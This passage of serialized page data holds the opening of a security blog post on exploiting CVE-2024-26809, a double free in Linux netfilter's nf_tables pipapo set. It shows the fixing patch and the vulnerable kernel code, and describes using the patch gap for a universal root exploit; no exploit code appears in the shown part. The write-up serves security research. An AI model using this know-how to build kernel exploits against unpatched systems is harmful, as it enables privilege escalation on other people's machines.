"style":211},[50715],{"type":27,"value":1470},{"type":21,"tag":198,"props":50717,"children":50718},{"class":200,"line":260},[50719,50723,50727,50731,50735,50739,50743,50747,50751,50755,50759,50763,50767,50771,50775,50779],{"type":21,"tag":198,"props":50720,"children":50721},{"style":226},[50722],{"type":27,"value":1300},{"type":21,"tag":198,"props":50724,"children":50725},{"style":211},[50726],{"type":27,"value":658},{"type":21,"tag":198,"props":50728,"children":50729},{"style":698},[50730],{"type":27,"value":3463},{"type":21,"tag":198,"props":50732,"children":50733},{"style":211},[50734],{"type":27,"value":706},{"type":21,"tag":198,"props":50736,"children":50737},{"style":205},[50738],{"type":27,"value":3472},{"type":21,"tag":198,"props":50740,"children":50741},{"style":211},[50742],{"type":27,"value":3477},{"type":21,"tag":198,"props":50744,"children":50745},{"style":2540},[50746],{"type":27,"value":3482},{"type":21,"tag":198,"props":50748,"children":50749},{"style":211},[50750],{"type":27,"value":3487},{"type":21,"tag":198,"props":50752,"children":50753},{"style":226},[50754],{"type":27,"value":3492},{"type":21,"tag":198,"props":50756,"children":50757},{"style":211},[50758],{"type":27,"value":658},{"type":21,"tag":198,"props":50760,"children":50761},{"style":698},[50762],{"type":27,"value":1291},{"type":21,"tag":198,"props":50764,"children":50765},{"style":211},[50766],{"type":27,"value":706},{"type":21,"tag":198,"props":50768,"children":50769},{"style":226},[50770],{"type":27,"value":1300},{"type":21,"tag":198,"props":50772,"children":50773},{"style":211},[50774],{"type":27,"value":658},{"type":21,"tag":198,"props":50776,"children":50777},{"style":226},[50778],{"type":27,"value":1309},{"type":21,"tag":198,"props":50780,"children":50781},{"style":211},[50782],{"type":27,"value":1470},{"type":21,"tag":59,"props":50784,"children":50785},{"id":3523},[50786],{"type":27,"value":3526},{"type":21,"tag":30,"props":50788,"children":50789},{},[50790,50791,50796,50797,50802],{"type":27,"value":3531},{"type":21,"tag":34,"props":50792,"children":50794},{"href":3534,"rel":50793},[38],[50795],{"type":27,"value":3538},{"type":27,"value":3540},{"type":21,"tag":34,"props":50798,"children":50800},{"href":3543,"rel":50799},[38],[50801],{"type":27,"value":3547},{"type":27,"value":3549},{"type":21,"tag":22,"props":50804,"children":50805},{"id":3552},[50806],{"type":27,"value":3555},{"type":21,"tag":30,"props":50808,"children":50809},{},[50810],{"type":27,"value":3560},{"type":21,"tag":71,"props":50812,"children":50813},{},[50814,50818],{"type":21,"tag":75,"props":50815,"children":50816},{},[50817],{"type":27,"value":3568},{"type":21,"tag":75,"props":50819,"children":50820},{},[50821],{"type":27,"value":3573},{"type":21,"tag":30,"props":50823,"children":50824},{},[50825],{"type":27,"value":3578},{"type":21,"tag":30,"props":50827,"children":50828},{},[50829],{"type":27,"value":3583},{"type":21,"tag":22,"props":50831,"children":50832},{"id":3586},[50833],{"type":27,"value":3589},{"type":21,"tag":30,"props":50835,"children":50836},{},[50837],{"type":27,"value":3594},{"type":21,"tag":3164,"props":50839,"children":50840},{"style":3597},[50841],{"type":21,"tag":1376,"props":50842,"children":50843},{"src":3601,"alt":3602,"style":3603},[],{"type":21,"tag":3606,"props":50845,"children":50847},{"className":50846,"dataFootnotes":7},[3609],[50848,50853],{"type":21,"tag":22,"props":50849,"children":50851},{"className":50850,"id":130},[3614],[50852],{"type":27,"value":3617},{"type":21,"tag":71,"props":50854,"children":50855},{},[50856],{"type":21,"tag":75,"props":50857,"children":50858},{"id":3623},[50859,50860,50865,50866],{"type":27,"value":3626},{"type":21,"tag":34,"props":50861,"children":50863},{"href":3629,"rel":50862},[38],[50864],{"type":27,"value":3633},{"type":27,"value":915},{"type":21,"tag":34,"props":50867,"children":50869},{"href":3637,"ariaLabel":3638,"className":50868,"dataFootnoteBackref":7},[3640],[50870],{"type":27,"value":3643},{"type":21,"tag":3645,"props":50872,"children":50873},{},[50874],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":50876},[50877,50881,50887,50893,50894,50895],{"id":24,"depth":217,"text":28,"children":50878},[50879,50880],{"id":61,"depth":236,"text":64},{"id":113,"depth":236,"text":116},{"id":941,"depth":217,"text":944,"children":50882},[50883,50884,50885,50886],{"id":1199,"depth":236,"text":1202},{"id":1695,"depth":236,"text":1698},{"id":2373,"depth":236,"text":2376},{"id":2496,"depth":236,"text":2499},{"id":2617,"depth":217,"text":2620,"children":50888},[50889,50890,50891,50892],{"id":2748,"depth":236,"text":2751},{"id":3112,"depth":236,"text":3115},{"id":3280,"depth":236,"text":3283},{"id":3523,"depth":236,"text":3526},{"id":3552,"depth":217,"text":3555},{"id":3586,"depth":217,"text":3589},{"id":130,"depth":217,"text":3617},{"_path":50897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50898,"description":50899,"author":50900,"image":50901,"date":50903,"isFeatured":16,"tags":50904,"onBlogPage":16,"body":50907,"_type":3671,"_id":61288,"_source":3673,"_file":61289,"_stem":61290,"_extension":3676},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":50902,"height":10077,"width":6537},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[50905,50906],"kernal","linux",{"type":18,"children":50908,"toc":61256},[50909,50922,50936,50941,50947,50957,50962,50968,50973,50991,51005,51014,51047,51052,51058,51077,51110,51116,51129,51339,51406,51970,51989,52214,52273,52279,52299,52339,52527,52532,52683,52739,52744,53258,53277,53546,53572,54081,54148,54154,54190,54195,54461,54494,54506,54533,54545,54550,54556,54577,54583,54604,54627,55459,55465,55505,56045,56056,56090,56157,56211,56443,56449,56493,56957,56963,56974,57004,57087,57092,57097,57133,57185,57216,57771,57777,57794,57800,57805,57811,57839,58032,58052,58068,58663,58669,58704,58727,58739,58745,58773,59370,59395,60364,60375,60388,60401,61167,61181,61187,61199,61205,61233,61238,61242,61247,61252],{"type":21,"tag":30,"props":50910,"children":50911},{},[50912,50914,50921],{"type":27,"value":50913},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":21,"tag":34,"props":50915,"children":50918},{"href":50916,"rel":50917},"https://google.github.io/security-research/kernelctf/rules.html",[38],[50919],{"type":27,"value":50920},"KernelCTF VRP",{"type":27,"value":658},{"type":21,"tag":30,"props":50923,"children":50924},{},[50925,50927,50934],{"type":27,"value":50926},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":21,"tag":34,"props":50928,"children":50931},{"href":50929,"rel":50930},"https://github.com/conlonialC",[38],[50932],{"type":27,"value":50933},"lonial con",{"type":27,"value":50935},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":21,"tag":30,"props":50937,"children":50938},{},[50939],{"type":27,"value":50940},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":21,"tag":22,"props":50942,"children":50944},{"id":50943},"the-kernel",[50945],{"type":27,"value":50946},"The kernel",{"type":21,"tag":30,"props":50948,"children":50949},{},[50950,50952],{"type":27,"value":50951},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":21,"tag":1376,"props":50953,"children":50956},{"alt":50954,"src":50955},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":21,"tag":30,"props":50958,"children":50959},{},[50960],{"type":27,"value":50961},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":21,"tag":59,"props":50963,"children":50965},{"id":50964},"kernel-exploitation",[50966],{"type":27,"value":50967},"Kernel exploitation",{"type":21,"tag":30,"props":50969,"children":50970},{},[50971],{"type":27,"value":50972},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":21,"tag":138,"props":50974,"children":50975},{},[50976,50981,50986],{"type":21,"tag":75,"props":50977,"children":50978},{},[50979],{"type":27,"value":50980},"Trigger some memory corruption in some kernel subsystem",{"type":21,"tag":75,"props":50982,"children":50983},{},[50984],{"type":27,"value":50985},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":21,"tag":75,"props":50987,"children":50988},{},[50989],{"type":27,"value":50990},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":21,"tag":30,"props":50992,"children":50993},{},[50994,50996,51003],{"type":27,"value":50995},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":21,"tag":34,"props":50997,"children":51000},{"href":50998,"rel":50999},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[38],[51001],{"type":27,"value":51002},"blog post",{"type":27,"value":51004}," to become more familiar with the topic.",{"type":21,"tag":22,"props":51006,"children":51008},{"id":51007},"nf_tables",[51009],{"type":21,"tag":194,"props":51010,"children":51012},{"className":51011},[],[51013],{"type":27,"value":51007},{"type":21,"tag":30,"props":51015,"children":51016},{},[51017,51022,51024,51030,51031,51037,51039,51045],{"type":21,"tag":194,"props":51018,"children":51020},{"className":51019},[],[51021],{"type":27,"value":51007},{"type":27,"value":51023}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":21,"tag":34,"props":51025,"children":51028},{"href":51026,"rel":51027},"https://pwning.tech/nftables",[38],[51029],{"type":27,"value":134},{"type":27,"value":828},{"type":21,"tag":34,"props":51032,"children":51035},{"href":51033,"rel":51034},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[38],[51036],{"type":27,"value":3931},{"type":27,"value":51038},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":21,"tag":194,"props":51040,"children":51042},{"className":51041},[],[51043],{"type":27,"value":51044},"nf_table",{"type":27,"value":51046}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":21,"tag":30,"props":51048,"children":51049},{},[51050],{"type":27,"value":51051},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":21,"tag":59,"props":51053,"children":51055},{"id":51054},"transactions",[51056],{"type":27,"value":51057},"Transactions",{"type":21,"tag":30,"props":51059,"children":51060},{},[51061,51063,51068,51070,51075],{"type":27,"value":51062},"A transaction is an interaction that updates ",{"type":21,"tag":194,"props":51064,"children":51066},{"className":51065},[],[51067],{"type":27,"value":51007},{"type":27,"value":51069}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":21,"tag":194,"props":51071,"children":51073},{"className":51072},[],[51074],{"type":27,"value":51007},{"type":27,"value":51076}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":21,"tag":138,"props":51078,"children":51079},{},[51080,51090,51100],{"type":21,"tag":75,"props":51081,"children":51082},{},[51083,51088],{"type":21,"tag":6137,"props":51084,"children":51085},{},[51086],{"type":27,"value":51087},"Control plane",{"type":27,"value":51089},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":21,"tag":75,"props":51091,"children":51092},{},[51093,51098],{"type":21,"tag":6137,"props":51094,"children":51095},{},[51096],{"type":27,"value":51097},"Commit path",{"type":27,"value":51099},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":21,"tag":75,"props":51101,"children":51102},{},[51103,51108],{"type":21,"tag":6137,"props":51104,"children":51105},{},[51106],{"type":27,"value":51107},"Abort path",{"type":27,"value":51109},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":21,"tag":22,"props":51111,"children":51113},{"id":51112},"vulnerability-details",[51114],{"type":27,"value":51115},"Vulnerability details",{"type":21,"tag":30,"props":51117,"children":51118},{},[51119,51121,51127],{"type":27,"value":51120},"Moving on, let's check out the ",{"type":21,"tag":34,"props":51122,"children":51125},{"href":51123,"rel":51124},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[38],[51126],{"type":27,"value":5037},{"type":27,"value":51128}," that fixed the bug.",{"type":21,"tag":187,"props":51130,"children":51132},{"className":2528,"code":51131,"language":2530,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[51133],{"type":21,"tag":194,"props":51134,"children":51135},{"__ignoreMap":7},[51136,51144,51152,51160,51168,51176,51183,51191,51198,51206,51214,51222,51230,51238,51246,51254,51262,51270,51278,51286,51293,51301,51309,51317,51324,51331],{"type":21,"tag":198,"props":51137,"children":51138},{"class":200,"line":201},[51139],{"type":21,"tag":198,"props":51140,"children":51141},{"style":249},[51142],{"type":27,"value":51143},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":198,"props":51145,"children":51146},{"class":200,"line":217},[51147],{"type":21,"tag":198,"props":51148,"children":51149},{"style":211},[51150],{"type":27,"value":51151},"index c0ceea068936a6..df8de509024637 100644\n",{"type":21,"tag":198,"props":51153,"children":51154},{"class":200,"line":236},[51155],{"type":21,"tag":198,"props":51156,"children":51157},{"style":249},[51158],{"type":27,"value":51159},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":198,"props":51161,"children":51162},{"class":200,"line":260},[51163],{"type":21,"tag":198,"props":51164,"children":51165},{"style":249},[51166],{"type":27,"value":51167},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":21,"tag":198,"props":51169,"children":51170},{"class":200,"line":281},[51171],{"type":21,"tag":198,"props":51172,"children":51173},{"style":211},[51174],{"type":27,"value":51175},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":198,"props":51177,"children":51178},{"class":200,"line":302},[51179],{"type":21,"tag":198,"props":51180,"children":51181},{"emptyLinePlaceholder":16},[51182],{"type":27,"value":1283},{"type":21,"tag":198,"props":51184,"children":51185},{"class":200,"line":323},[51186],{"type":21,"tag":198,"props":51187,"children":51188},{"style":211},[51189],{"type":27,"value":51190}," m = rcu_dereference_protected(priv->match, true);\n",{"type":21,"tag":198,"props":51192,"children":51193},{"class":200,"line":344},[51194],{"type":21,"tag":198,"props":51195,"children":51196},{"emptyLinePlaceholder":16},[51197],{"type":27,"value":1283},{"type":21,"tag":198,"props":51199,"children":51200},{"class":200,"line":365},[51201],{"type":21,"tag":198,"props":51202,"children":51203},{"style":211},[51204],{"type":27,"value":51205}," if (m) {\n",{"type":21,"tag":198,"props":51207,"children":51208},{"class":200,"line":386},[51209],{"type":21,"tag":198,"props":51210,"children":51211},{"style":211},[51212],{"type":27,"value":51213}," rcu_barrier();\n",{"type":21,"tag":198,"props":51215,"children":51216},{"class":200,"line":408},[51217],{"type":21,"tag":198,"props":51218,"children":51219},{"style":211},[51220],{"type":27,"value":51221}," \n",{"type":21,"tag":198,"props":51223,"children":51224},{"class":200,"line":429},[51225],{"type":21,"tag":198,"props":51226,"children":51227},{"style":205},[51228],{"type":27,"value":51229},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":198,"props":51231,"children":51232},{"class":200,"line":450},[51233],{"type":21,"tag":198,"props":51234,"children":51235},{"style":205},[51236],{"type":27,"value":51237},"-\n",{"type":21,"tag":198,"props":51239,"children":51240},{"class":200,"line":468},[51241],{"type":21,"tag":198,"props":51242,"children":51243},{"style":211},[51244],{"type":27,"value":51245}," for_each_possible_cpu(cpu)\n",{"type":21,"tag":198,"props":51247,"children":51248},{"class":200,"line":477},[51249],{"type":21,"tag":198,"props":51250,"children":51251},{"style":211},[51252],{"type":27,"value":51253}," pipapo_free_scratch(m, cpu);\n",{"type":21,"tag":198,"props":51255,"children":51256},{"class":200,"line":494},[51257],{"type":21,"tag":198,"props":51258,"children":51259},{"style":211},[51260],{"type":27,"value":51261}," free_percpu(m->scratch);\n",{"type":21,"tag":198,"props":51263,"children":51264},{"class":200,"line":515},[51265],{"type":21,"tag":198,"props":51266,"children":51267},{"style":211},[51268],{"type":27,"value":51269},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":21,"tag":198,"props":51271,"children":51272},{"class":200,"line":4484},[51273],{"type":21,"tag":198,"props":51274,"children":51275},{"style":211},[51276],{"type":27,"value":51277}," if (priv->clone) {\n",{"type":21,"tag":198,"props":51279,"children":51280},{"class":200,"line":4493},[51281],{"type":21,"tag":198,"props":51282,"children":51283},{"style":211},[51284],{"type":27,"value":51285}," m = priv->clone;\n",{"type":21,"tag":198,"props":51287,"children":51288},{"class":200,"line":4561},[51289],{"type":21,"tag":198,"props":51290,"children":51291},{"style":211},[51292],{"type":27,"value":51221},{"type":21,"tag":198,"props":51294,"children":51295},{"class":200,"line":4569},[51296],{"type":21,"tag":198,"props":51297,"children":51298},{"style":205},[51299],{"type":27,"value":51300},"- if (priv->dirty)\n",{"type":21,"tag":198,"props":51302,"children":51303},{"class":200,"line":4599},[51304],{"type":21,"tag":198,"props":51305,"children":51306},{"style":205},[51307],{"type":27,"value":51308},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":198,"props":51310,"children":51311},{"class":200,"line":4607},[51312],{"type":21,"tag":198,"props":51313,"children":51314},{"style":2540},[51315],{"type":27,"value":51316},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":21,"tag":198,"props":51318,"children":51319},{"class":200,"line":4638},[51320],{"type":21,"tag":198,"props":51321,"children":51322},{"style":211},[51323],{"type":27,"value":51221},{"type":21,"tag":198,"props":51325,"children":51326},{"class":200,"line":4646},[51327],{"type":21,"tag":198,"props":51328,"children":51329},{"style":211},[51330],{"type":27,"value":51245},{"type":21,"tag":198,"props":51332,"children":51333},{"class":200,"line":4706},[51334],{"type":21,"tag":198,"props":51335,"children":51336},{"style":211},[51337],{"type":27,"value":51338}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":21,"tag":30,"props":51340,"children":51341},{},[51342,51344,51350,51351,51357,51359,51365,51367,51373,51375,51380,51382,51388,51390,51396,51398,51404],{"type":27,"value":51343},"If the ",{"type":21,"tag":194,"props":51345,"children":51347},{"className":51346},[],[51348],{"type":27,"value":51349},"priv->dirty",{"type":27,"value":11801},{"type":21,"tag":194,"props":51352,"children":51354},{"className":51353},[],[51355],{"type":27,"value":51356},"priv->clone",{"type":27,"value":51358}," variables are set, ",{"type":21,"tag":194,"props":51360,"children":51362},{"className":51361},[],[51363],{"type":27,"value":51364},"nft_set_pipapo_match_destroy()",{"type":27,"value":51366}," is called twice, once with ",{"type":21,"tag":194,"props":51368,"children":51370},{"className":51369},[],[51371],{"type":27,"value":51372},"priv->match",{"type":27,"value":51374}," as an argument, and then again with ",{"type":21,"tag":194,"props":51376,"children":51378},{"className":51377},[],[51379],{"type":27,"value":51356},{"type":27,"value":51381},". Looking at what this function does, we can see that it is iterating over the ",{"type":21,"tag":194,"props":51383,"children":51385},{"className":51384},[],[51386],{"type":27,"value":51387},"setelem",{"type":27,"value":51389},"s of the ",{"type":21,"tag":194,"props":51391,"children":51393},{"className":51392},[],[51394],{"type":27,"value":51395},"set",{"type":27,"value":51397}," and calling ",{"type":21,"tag":194,"props":51399,"children":51401},{"className":51400},[],[51402],{"type":27,"value":51403},"nf_tables_set_elem_destroy()",{"type":27,"value":51405}," for each of them.",{"type":21,"tag":187,"props":51407,"children":51409},{"className":17318,"code":51408,"language":3954,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[51410],{"type":21,"tag":194,"props":51411,"children":51412},{"__ignoreMap":7},[51413,51460,51488,51514,51521,51542,51555,51562,51659,51667,51674,51729,51750,51757,51860,51872,51879,51915,51922,51956,51963],{"type":21,"tag":198,"props":51414,"children":51415},{"class":200,"line":201},[51416,51421,51426,51431,51435,51439,51443,51448,51452,51456],{"type":21,"tag":198,"props":51417,"children":51418},{"style":249},[51419],{"type":27,"value":51420},"static",{"type":21,"tag":198,"props":51422,"children":51423},{"style":249},[51424],{"type":27,"value":51425}," void",{"type":21,"tag":198,"props":51427,"children":51428},{"style":698},[51429],{"type":27,"value":51430}," nft_set_pipapo_match_destroy",{"type":21,"tag":198,"props":51432,"children":51433},{"style":211},[51434],{"type":27,"value":706},{"type":21,"tag":198,"props":51436,"children":51437},{"style":249},[51438],{"type":27,"value":2648},{"type":21,"tag":198,"props":51440,"children":51441},{"style":249},[51442],{"type":27,"value":21944},{"type":21,"tag":198,"props":51444,"children":51445},{"style":211},[51446],{"type":27,"value":51447}," nft_ctx ",{"type":21,"tag":198,"props":51449,"children":51450},{"style":683},[51451],{"type":27,"value":5383},{"type":21,"tag":198,"props":51453,"children":51454},{"style":226},[51455],{"type":27,"value":21075},{"type":21,"tag":198,"props":51457,"children":51458},{"style":211},[51459],{"type":27,"value":257},{"type":21,"tag":198,"props":51461,"children":51462},{"class":200,"line":217},[51463,51467,51471,51476,51480,51484],{"type":21,"tag":198,"props":51464,"children":51465},{"style":249},[51466],{"type":27,"value":32334},{"type":21,"tag":198,"props":51468,"children":51469},{"style":249},[51470],{"type":27,"value":21944},{"type":21,"tag":198,"props":51472,"children":51473},{"style":211},[51474],{"type":27,"value":51475}," nft_set ",{"type":21,"tag":198,"props":51477,"children":51478},{"style":683},[51479],{"type":27,"value":5383},{"type":21,"tag":198,"props":51481,"children":51482},{"style":226},[51483],{"type":27,"value":51395},{"type":21,"tag":198,"props":51485,"children":51486},{"style":211},[51487],{"type":27,"value":257},{"type":21,"tag":198,"props":51489,"children":51490},{"class":200,"line":236},[51491,51496,51501,51505,51510],{"type":21,"tag":198,"props":51492,"children":51493},{"style":249},[51494],{"type":27,"value":51495}," struct",{"type":21,"tag":198,"props":51497,"children":51498},{"style":211},[51499],{"type":27,"value":51500}," nft_pipapo_match ",{"type":21,"tag":198,"props":51502,"children":51503},{"style":683},[51504],{"type":27,"value":5383},{"type":21,"tag":198,"props":51506,"children":51507},{"style":226},[51508],{"type":27,"value":51509},"m",{"type":21,"tag":198,"props":51511,"children":51512},{"style":211},[51513],{"type":27,"value":789},{"type":21,"tag":198,"props":51515,"children":51516},{"class":200,"line":260},[51517],{"type":21,"tag":198,"props":51518,"children":51519},{"style":211},[51520],{"type":27,"value":11689},{"type":21,"tag":198,"props":51522,"children":51523},{"class":200,"line":281},[51524,51528,51533,51537],{"type":21,"tag":198,"props":51525,"children":51526},{"style":249},[51527],{"type":27,"value":21944},{"type":21,"tag":198,"props":51529,"children":51530},{"style":211},[51531],{"type":27,"value":51532}," nft_pipapo_field ",{"type":21,"tag":198,"props":51534,"children":51535},{"style":683},[51536],{"type":27,"value":5383},{"type":21,"tag":198,"props":51538,"children":51539},{"style":211},[51540],{"type":27,"value":51541},"f;\n",{"type":21,"tag":198,"props":51543,"children":51544},{"class":200,"line":302},[51545,51550],{"type":21,"tag":198,"props":51546,"children":51547},{"style":249},[51548],{"type":27,"value":51549}," int",{"type":21,"tag":198,"props":51551,"children":51552},{"style":211},[51553],{"type":27,"value":51554}," i, r;\n",{"type":21,"tag":198,"props":51556,"children":51557},{"class":200,"line":323},[51558],{"type":21,"tag":198,"props":51559,"children":51560},{"emptyLinePlaceholder":16},[51561],{"type":27,"value":1283},{"type":21,"tag":198,"props":51563,"children":51564},{"class":200,"line":344},[51565,51570,51575,51579,51583,51588,51592,51597,51601,51605,51610,51614,51618,51622,51627,51632,51636,51641,51646,51651,51655],{"type":21,"tag":198,"props":51566,"children":51567},{"style":640},[51568],{"type":27,"value":51569}," for",{"type":21,"tag":198,"props":51571,"children":51572},{"style":211},[51573],{"type":27,"value":51574}," (i ",{"type":21,"tag":198,"props":51576,"children":51577},{"style":683},[51578],{"type":27,"value":3174},{"type":21,"tag":198,"props":51580,"children":51581},{"style":2540},[51582],{"type":27,"value":3855},{"type":21,"tag":198,"props":51584,"children":51585},{"style":211},[51586],{"type":27,"value":51587},", f ",{"type":21,"tag":198,"props":51589,"children":51590},{"style":683},[51591],{"type":27,"value":3174},{"type":21,"tag":198,"props":51593,"children":51594},{"style":226},[51595],{"type":27,"value":51596}," m",{"type":21,"tag":198,"props":51598,"children":51599},{"style":211},[51600],{"type":27,"value":14564},{"type":21,"tag":198,"props":51602,"children":51603},{"style":226},[51604],{"type":27,"value":33864},{"type":21,"tag":198,"props":51606,"children":51607},{"style":211},[51608],{"type":27,"value":51609},"; i ",{"type":21,"tag":198,"props":51611,"children":51612},{"style":683},[51613],{"type":27,"value":3159},{"type":21,"tag":198,"props":51615,"children":51616},{"style":226},[51617],{"type":27,"value":51596},{"type":21,"tag":198,"props":51619,"children":51620},{"style":211},[51621],{"type":27,"value":14564},{"type":21,"tag":198,"props":51623,"children":51624},{"style":226},[51625],{"type":27,"value":51626},"field_count",{"type":21,"tag":198,"props":51628,"children":51629},{"style":683},[51630],{"type":27,"value":51631}," -",{"type":21,"tag":198,"props":51633,"children":51634},{"style":2540},[51635],{"type":27,"value":5335},{"type":21,"tag":198,"props":51637,"children":51638},{"style":211},[51639],{"type":27,"value":51640},"; i",{"type":21,"tag":198,"props":51642,"children":51643},{"style":683},[51644],{"type":27,"value":51645},"++",{"type":21,"tag":198,"props":51647,"children":51648},{"style":211},[51649],{"type":27,"value":51650},", f",{"type":21,"tag":198,"props":51652,"children":51653},{"style":683},[51654],{"type":27,"value":51645},{"type":21,"tag":198,"props":51656,"children":51657},{"style":211},[51658],{"type":27,"value":789},{"type":21,"tag":198,"props":51660,"children":51661},{"class":200,"line":365},[51662],{"type":21,"tag":198,"props":51663,"children":51664},{"style":211},[51665],{"type":27,"value":51666}," ;\n",{"type":21,"tag":198,"props":51668,"children":51669},{"class":200,"line":386},[51670],{"type":21,"tag":198,"props":51671,"children":51672},{"emptyLinePlaceholder":16},[51673],{"type":27,"value":1283},{"type":21,"tag":198,"props":51675,"children":51676},{"class":200,"line":408},[51677,51681,51686,51690,51694,51699,51703,51707,51711,51716,51721,51725],{"type":21,"tag":198,"props":51678,"children":51679},{"style":640},[51680],{"type":27,"value":51569},{"type":21,"tag":198,"props":51682,"children":51683},{"style":211},[51684],{"type":27,"value":51685}," (r ",{"type":21,"tag":198,"props":51687,"children":51688},{"style":683},[51689],{"type":27,"value":3174},{"type":21,"tag":198,"props":51691,"children":51692},{"style":2540},[51693],{"type":27,"value":3855},{"type":21,"tag":198,"props":51695,"children":51696},{"style":211},[51697],{"type":27,"value":51698},"; r ",{"type":21,"tag":198,"props":51700,"children":51701},{"style":683},[51702],{"type":27,"value":3159},{"type":21,"tag":198,"props":51704,"children":51705},{"style":226},[51706],{"type":27,"value":33750},{"type":21,"tag":198,"props":51708,"children":51709},{"style":211},[51710],{"type":27,"value":14564},{"type":21,"tag":198,"props":51712,"children":51713},{"style":226},[51714],{"type":27,"value":51715},"rules",{"type":21,"tag":198,"props":51717,"children":51718},{"style":211},[51719],{"type":27,"value":51720},"; r",{"type":21,"tag":198,"props":51722,"children":51723},{"style":683},[51724],{"type":27,"value":51645},{"type":21,"tag":198,"props":51726,"children":51727},{"style":211},[51728],{"type":27,"value":668},{"type":21,"tag":198,"props":51730,"children":51731},{"class":200,"line":429},[51732,51736,51741,51745],{"type":21,"tag":198,"props":51733,"children":51734},{"style":249},[51735],{"type":27,"value":6610},{"type":21,"tag":198,"props":51737,"children":51738},{"style":211},[51739],{"type":27,"value":51740}," nft_pipapo_elem 